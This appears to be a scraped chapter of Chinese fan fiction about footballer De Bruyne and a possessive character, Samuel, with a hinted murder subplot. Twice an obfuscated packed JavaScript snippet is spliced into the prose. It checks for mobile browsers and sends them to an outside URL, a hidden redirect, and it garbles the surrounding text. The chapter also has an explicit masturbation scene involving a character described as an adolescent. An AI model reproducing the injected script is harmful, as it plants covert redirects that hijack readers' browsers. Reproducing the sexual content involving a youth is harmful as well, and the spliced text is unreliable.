德布劳内把手机黑屏:“你看错了。” “我是门将,我的眼力不会有错。”他说。接着又问:“你给谁发短信呢?” 德布劳内这下真的有点生气了。他上下扫了门将一眼,语气不善地质问道:“跟你有关系吗。” 门将抬手,表示自己没有吵架的意思。然后很识相地走开了。没过多会儿,后排响起嘀咕声。 “跟你说了那家伙不好相处。” “惹他干什么。” “那可是超级压力王……” 德布劳内完全没有在意。反正大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898687|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说他压力别人也不是第一次了,比赛不是闹着玩,踢得就是不好怎么能怪队友说你。 他戴上耳机开始听歌。 然后继续回塞缪尔的短信。 另一边,塞缪尔结束了公演前最后的排练。他坐在后台的化妆镜前,边化妆边写短信。 这时雷蒙德闯了进来。 “嘿塞缪尔,看见珍妮丝了吗?”他大声问,“刚才我看到她,结果转头就不见了。” 塞缪尔摇了摇头表示没看到。雷蒙德做了个不能理解的表情,又迅速离开化妆间。接着又一个人推门进来,比较稀奇,是科学老师瑞德教授。他说他走错了屋子。 就在他准备离开时,塞缪尔叫住了他:“抱歉瑞德教授,请问您见到珍妮丝了吗?” 瑞德教授愣了一下。 “我看见她和雷蒙德一起。”他说,“需要我帮忙叫她吗?” “不用。”塞缪尔笑笑拒绝道。 真有意思。 科学老师走后,塞缪尔换了种不同的笑。随后他的手机收到一条短信,联系人未知。 内容只有一句话:[什么时候行动?] 塞缪尔不紧不慢打字回复:[再等等] 放下手机,他和镜子里的自己对视。他笑,镜子里的他也笑。他冷着脸,镜子里的他也扭曲着嘴角。 想到了有·趣的剧情呢。 * 转过天,亨克青年队的比赛进行得非常顺利,他们大胜了对手,德布劳内得到了当众夸奖,还拿到一笔奖金。 赛后主教练提议去找个好餐厅聚会,反正回去也是错过圣诞大餐。 德布劳内拒绝了这个提议,然后准备往学校赶。 他还有一场公演要看。 “你怎么总是不参加集体活动?球队赢了你不开心吗。”那门将又来了,边调侃边要去搭德布劳内的肩膀。 德布劳内迅速躲开。 “我很开心。”他说。 “开心还要走。”门将扫了德布劳内一眼,“是不是谈恋爱了?” “……” “没有。”德布劳内板着脸说,“别瞎猜。” 晚一点的时候他成功离开球队回了学校,等他到达礼堂,剧情果然已经进行到了最后一幕。 塞缪尔扮演的罗密欧正在墓地和巴黎伯爵决斗。 德布劳内在最后面随便找了个座位坐下,然后盯着舞台上的塞缪尔看。他想,肯定是聚光灯的作用他的视线才总停在男主角身上。 有那么一瞬,塞缪尔好像看到他了。 [出于对此刻的恐惧,我将陪伴着你,永不再离开在这幽暗之夜的宫殿……] 塞缪尔念出台词。 或许是比赛太久回程太累,德布劳内恍惚间竟然看到舞台上的塞缪尔用匕首刺进朱丽叶的胸膛,鲜血喷涌而出,把他整个人染红。 假的吧。 他想。 人群尖叫着四散逃开,而浑身鲜红的塞缪尔一步一步从舞台向他走来。 他们对视。 塞缪尔咧开嘴,笑着把匕首交到他手里。 然后对他说:“刺我。” 德布劳内喉咙动了。 停下,凯文。他对自己说。 一瞬间所有画面消失,礼堂恢复正常。塞缪尔还在表演,舞台没有被血染红,朱丽叶还活着,观众也没有被吓到逃命。 冷静,冷静。 德布劳内闭了闭眼,试图通过想足球比赛来让自己恢复平静。 但糟糕的是,足球,塞缪尔,鲜血,绿茵场,匕首,还有那个「刺我」加在一起产生了奇妙的化学反应。 他*起了。 19. 19 多么闪耀啊。 如此独特、美丽的灵魂。哦我亲爱的。以为躲在后面就不会被注意到。我怎么会不注意到? 塞缪尔在台上念着台词,心声也变成了莎翁的风格。怀着美好的心情他喝下毒药,然后倒在墓室里。 [这是何等的不幸!]神父读台词,紧接着朱丽叶醒来。 珍妮丝悲痛地趴在塞缪尔身上哭泣。 趁着神父继续说台词,她掐了塞缪尔的手臂,然后小声对他说:“我要吻你了,如果你敢躲开——” 塞缪尔悄悄睁开了眼睛。 “抱歉,珍。”他说,“我的嘴唇已经被预定了。直到死亡。” 神父退场,珍妮丝扮演的朱丽叶喝下毒酒,倒在爱人身上渐渐断气。塞缪尔真的没让她亲,于是死去的朱丽叶在台下观众看不到的地方狠狠掐了罗密欧的侧腰。 落幕后,所有人上台谢场。台下叫好声一片,宾客起立鼓掌,演出大获成功。 珍妮丝站在塞缪尔身边小声抱怨道:“这恐怕是唯一没有接吻的《罗密欧与朱丽叶》,早知道我就去扮演罗密欧的表哥了。” “我会补偿你。”塞缪尔小声道歉。 “那就和我接吻。”珍妮丝说。 “除了这个。”塞缪尔补充。 珍妮丝表面微笑,又说:“你猜我为什么要演朱丽叶,就是为了和帅哥亲嘴。现在这么一个小小的要求都不能满足。” “珍妮丝。我愿意把月亮摘下来给你。”塞缪尔说。 珍妮丝捂嘴笑起来。 “喂,你们两个。”后面扮演罗密欧好友的特纳挤进塞缪尔和珍妮丝中间,一左一右搭上他们的肩膀,满脸嫌弃地说道:“舞台剧结束了,别再用这见鬼的腔调说话了,真恶心。” 塞缪尔和珍妮丝眼神交流一番,同时对他念道:“看那边窗户里亮起的是什么光?哦,那是东方,特纳就是太阳!” “E!” 特纳被恶心走了。珍妮丝很满足,她抱了塞缪尔一下算是原谅。谢场完毕,她很快又消失不见了。 塞缪尔没管那么多,径直跑向后排去找德布劳内。 但奇怪的是,散场好半天了,德布劳内始终坐在位置上一动不动。也没什么表情,微微低着头,就好像和椅子融为了一体。 “你觉得这场戏怎么样?”塞缪尔问。 “很好。”德布劳内说。也不抬头看塞缪尔。 “你不喜欢它吗?”塞缪尔又问。 “没有。”德布劳内还是没有抬头。 “凯文你,不会睡着了吧。”塞缪尔开玩笑说,“我现在是在和你的灵魂还是身体对话呢?” “……”德布劳内不说话。 “凯文?”塞缪尔试着去碰德布劳内的胳膊,但下一秒‘啪’地,德布劳内直接甩开了他的手。 这是怎么回事。 塞缪尔悄悄观察德布劳内,视线下移,他看到了一个巨大的惊喜。 天啊!凯文,你竟然有了生理反应!是为我吗?一定是因为我吧!天啊,天啊! 赞美玛门,赞美阿斯蒙蒂斯!* 塞缪尔几乎要欢呼,但他忍住了。 还不是时候。 “或许你累了。”塞缪尔委屈地说,“我不应该要求你比完赛就赶回来的,都是我的错。” “不是。”德布劳内深呼吸好几下,最后才站起身。 塞缪尔注意到他即使站起来也有些弓着背。 噢,怕我看到吗。 “你别动了,我让司机把车开过来。”他拨通临时司机的电话。 几分钟后两人上车。 后排座位上,德布劳内还是很奇怪,好像快要把整个人贴在车窗上。 啦~啦~ 塞缪尔在心里哼唱英雄交响曲。 为掩饰这个,他不得不使劲用指甲扣自己的肉。而在德布劳内眼里,他的沉默和望向车窗的隐忍全都自动翻译成了伤心。 于是德布劳内主动牵了塞缪尔的手。 塞缪尔爱死这个了。但演戏要保证完整,所以他甩开了德布劳内的示好。 3、2、1…… 数过三下后,塞缪尔反过来用小手指去勾德布劳内的拇指和食指。 然后,就听见那边德布劳内头撞车玻璃的声音。 “彭、彭” 再多想我一点吧。 塞缪尔抽回手,还没开口就被德布劳内把手勾回去。这次勾住的不再是小手指,而是食指和中指。 “牵着。” 德布劳内说完把头扭回去,继续脸贴着车窗。哐当一下,车子压过干树枝,颠簸差点要了他的命。德布劳内赶紧撑起下巴,用手掌挡住嘴。 该死的。 早知道不牵手,现在更严重了。 * 到家后,德布劳内用刚比完赛做借口,一下车就冲进了浴室。反锁上门,他迅速解决其他步骤躺在浴缸里。 单纯的压枪是解决不了问题的。 还是要上手才好。 德布劳内没有特别慌张,这对青春期的男孩来说很正常,而他也不是没有自己帮助过自己。 但问题是,他之前的配菜从来都是杂志或者录像上布料很少的女郎。偶尔男人也会是,但能成为配菜的男人总要和女人一起出现才行。 对于配菜突然变成塞缪尔这回事,德布劳内想把脑子挖出来。其实应该挖眼睛,但他舍不得。因为还要看。 至于看什么。 当然是在场上看球路,还能有什么。 总不能是看塞缪尔。 “烦死了,能不能要求低一点。”德布劳内低头对小德布劳内说。 小德布劳内表示不同意,然后丢给他一段回忆。两次,他指导塞缪尔接吻两次。 他记得塞缪尔等着他教学的样子,那种期待又胆怯的神情。还有塞缪尔长而浓密的睫毛,颤抖着,依稀可见下面透亮的异色双瞳。 以及塞缪尔的嘴角,柔软的,温热的,被他拇指捻.过就会分开的…嘴唇。 如果现在手不是手,而是塞缪尔在他面前。 “……怎么不去死。” 德布劳内一边骂一边停不下来。 他不想妥协。 敲门声吓了他一激灵。 “你还好吗?”屋外塞缪尔问。 德布劳内按住乱跳的心脏:“嗯。还活着。” “注意不要泡太久,会晕过去。”塞缪尔又提醒道,“圣诞大餐已经好了,就等你了。” “马上。” 塞缪尔走后,德布劳内终于能够大口呼吸。他低头,就在塞缪尔敲门的时候小德布劳内已经宣布投降了,并且不慎弄到了下巴上。 德布劳内擦掉它们把自己沉进浴缸。 你完了。你真完了。 一门之隔的走廊上,塞缪尔并没有走远。他放肆地笑着,甚至哼着歌跳起舞来。 你在里面做什么呢? 还有想着我吗,我让你满意了吗。 然而短信的提示音打乱了他的舞步。那是一条图片短信,还是来自号码未知。 于是塞缪尔冷下脸,走到距离浴室远一点的地方点开短信。 内容是一张像素很低的照片,主体是森林,地上有一个新鲜的大坑,旁边还有一个成年人大小黑色的、睡袋一样的东西。 [现在?]未知问。 塞缪尔想了想,打字回复:[现在] * 晚餐时,德布劳内恢复了正常。但也不是太正常,喝汤的时候总被呛到。 也许是因为今晚的奶油蘑菇汤不合胃口。 快到午夜,两个人躺在床上。 塞缪尔扭头看向德布劳内侧脸,故意问道:“凯文你今天有点不对劲,是比赛的事吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906305|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不是。” “结果怎么样?” “挺好的。球队赢了,我还拿了奖金。” “恭喜。”塞缪尔往他那边凑凑,“可为什么你看上去不太高兴,是我演得太差了吗?” 德布劳内再次否认,“不是。” “那是为什么。” “……” 那种事情怎么说得出口,德布劳内心里咒骂一句。 难道要他说:哦,其实是因为你演得太好,我以为台词是对我说的所以产生幻觉,又被幻想中的你勾起了反应。 要这么说吗? 谁听了都会把他当成变.态的。 “睡觉吧。”德布劳内扯了扯被子,假装自己比完赛特别累。 他翻了个身说:“睡醒就好了。” 塞缪尔没继续追问,朝德布劳内的方向蜷缩起来,小声说:“晚安。” 然而这个晚安的时机真不凑巧。德布劳内感觉自己的小腿被碰到。他开始燃烧,很快整个人变成一堆岩浆,再也无法待在床上。 “……” 德布劳内坐了起来。 然后开始穿衣服,并且收拾东西。 塞缪尔也揉了揉眼睛坐起来,疑惑地问:“在做什么,凯文?” “我去三楼睡。”德布劳内犹豫一下说道,“今天我不会睡太稳,可能乱动。” “你是指梦游吗?”塞缪尔问。 “嗯。” “这个原来能预知吗。” “……嗯。” 塞缪尔低下头,轻声说:“其实你不想和我一起睡没关系的。可以直接说出来,我不怪你。” “不是。”德布劳内否认道,“不是因为你。” 塞缪尔看了他一会儿,“哦”了一声。也不知道是相信了还是没相信。两人在床边僵持了半分钟,塞缪尔也下来。 “我帮你收拾。”他说。 “不用。”德布劳内示意塞缪尔躺回去,“你睡吧。” “我睡不着。”塞缪尔说,“送你去三楼之后我想去地下室看看我的标本们。” 有一瞬间德布劳内感觉自己像是吃了柠檬或者葡萄柚,而且不只是吃到胃里,还是吃到了胸腔里,吃到了心里肺里。 说点什么。 留下来,或者把他带走。 不行。 你想在被子里再起一次吗? 德布劳内什么也没说,和塞缪尔一起来到三楼收拾了客房。可能是因为困倦,他的动作有点磨蹭。 收拾好床铺,德布劳内坐下来。塞缪尔看了他几秒,走出房门,转身和他面对面。 “凯文你好好睡,我下去了。”塞缪尔说着缓缓拉上木门,那双异色的眼睛一点一点消失在门缝中,“晚安。做个好梦。” 门关上了。 德布劳内还坐在床上,仍然什么也没说。 好久好久之后,他张开嘴,对着房门干巴巴说了句:“晚安。” * 果然这天德布劳内没睡太安稳,前半夜一直在做梦,各种离奇的梦。而到了后半夜,德布劳内觉察到好像有东西在拽他的被子,一下惊醒。 然后他感受到了熟悉的温度。 是塞缪尔。 德布劳内放松了下来,假装睡得很熟,看着塞缪尔钻进被子,又轻手轻脚躺在他旁边。他看了塞缪尔的脸好一会儿,也闭上眼睛重新入睡。 这次就睡得很舒服了。 等德布劳内睡熟,塞缪尔睁开眼睛。黑夜里,视线不用再藏匿。他四肢紧贴着床爬过去,在不惊醒主人的情况下尽情感受德布劳内的呼吸。 指尖划过金色的发丝,脸颊,下颌,手臂,前胸最后直达心脏。 “我们注定是属于彼此的,凯文。你不能否认,也不能躲藏。”塞缪尔虚空舔咬着德布劳内的唇,“梦到我吧。美梦,噩梦。我要你的梦里,全都是我。”